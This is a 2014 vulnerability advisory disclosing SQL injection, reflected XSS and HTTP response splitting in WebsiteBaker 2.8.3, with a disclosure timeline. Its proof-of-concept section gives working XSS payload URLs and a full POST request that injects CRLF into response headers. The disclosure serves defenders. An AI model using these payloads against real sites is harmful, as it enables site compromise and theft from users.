WebsiteBaker 2.8.3 XSS / SQL Injection / HTTP Response Splitting

`=============================================  
MGC ALERT 2014-004  
- Original release date: March 11, 2014  
- Last revised: November 18, 2014  
- Discovered by: Manuel Garcia Cardenas  
- Severity: 10/10 (CVSS Base Score)  
=============================================  
  
I. VULNERABILITY  
-------------------------  
Multiple Vulnerabilities in WebsiteBaker 2.8.3  
  
II. BACKGROUND  
-------------------------  
WebsiteBaker helps you to create the website you want: A free, easy and  
secure, flexible and extensible open source content management system (CMS).  
  
III. DESCRIPTION  
-------------------------  
It is possible to inject SQL code in the variable "id" on the page  
"modify.php". This bug was found using the portal without authentication.  
To exploit the vulnerability only is needed use the version 1.0 of the HTTP  
protocol to interact with the application.  
Has been detected a reflected XSS vulnerability in WebsiteBaker, that  
allows the execution of arbitrary HTML/script code to be executed in the  
context of the victim user's browser.  
An input validation problem exists within WebsiteBaker which allows  
injecting CR (carriage return - %0D or \r) and LF (line feed - %0A or \n)  
characters into the server HTTP response header, resulting in a HTTP  
Response Splitting Vulnerability.  
  
IV. PROOF OF CONCEPT  
-------------------------  
SQL Injection:  
  
/wb/admin/pages/modify.php?page_id=1  
  
Cross-Site Scripting GET:  
  
/wb/admin/admintools/tool.php?tool=captcha_control&6d442"><script>alert(1)</script>8e3b12642a8=1  
/wb/modules/edit_module_files.php?page_id=1&mod_dir=news&edit_file=frontend.css&action=edit&page_id=1&section_id=%007e393<script>alert(1)</script>9f8a40a7355f9acf0  
/wb/modules/news/add_post.php?page_id=1&section_id=f953a"><script>alert(1)</script>4ddf3369c1f  
/wb/modules/news/modify_group.php?page_id=1&section_id=%008cf03"><script>alert(1)</script>2680504c3ec&group_id=62be99873b33d1d3  
/wb/modules/news/modify_post.php?page_id=1&section_id=%003874a<script>alert(1)</script>4194d511605&post_id=db89943875a2db52  
/wb/modules/news/modify_settings.php?page_id=1&section_id=%008b2f4"><script>alert(1)</script>bdc8b3919b5  
  
HTTP RESPONSE SPLITTING:  
  
If you enter a valid user and password, you can inject on the headers  
malicious code, example.  
  
POST /wb/admin/login/index.php HTTP/1.1  
Content-Length: 204  
Content-Type: application/x-www-form-urlencoded  
Referer: http://192.168.244.129:80/wb/  
Host: 127.0.0.1  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,  
like Gecko) Chrome/28.0.1500.63 Safari/537.36  
Accept: */*  
  
password_fieldname=password_nwh1uuwb&password_nwh1uuwb=VALIDPASS&remember=true&submit=Entrar&  
url=%0d%0a%20InjectedHeader:MaliciousCode&username_fieldname=username_nwh1uuwb&username_nwh1uuwb=adminResponse  
  
You can inject a new header named: InjectedHeader:MaliciousCode because we  
inject a CR&LF new line with %0d%0a%20.  
  
V. BUSINESS IMPACT  
-------------------------  
Public defacement, confidential data leakage, and database server  
compromise can result from these attacks. Client systems can also be  
targeted, and complete compromise of these client systems is also possible.  
  
VI. SYSTEMS AFFECTED  
-------------------------  
WebsiteBaker <= 2.8.3  
  
VII. SOLUTION  
-------------------------  
No news releases  
  
VIII. REFERENCES  
-------------------------  
http://www.websitebaker.org  
  
IX. CREDITS  
-------------------------  
This vulnerability has been discovered and reported  
by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com).  
  
X. REVISION HISTORY  
-------------------------  
March 11, 2014 1: Initial release  
  
XI. DISCLOSURE TIMELINE  
-------------------------  
March 11, 2014 1: Vulnerability acquired by Manuel Garcia Cardenas  
March 11, 2014 2: Send to vendor  
June 05, 2014 3: Second mail to the verdor without response  
November 18, 2014 4: Sent to lists  
  
XII. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
  
XIII. ABOUT  
-------------------------  
Manuel Garcia Cardenas  
Pentester  
  
  
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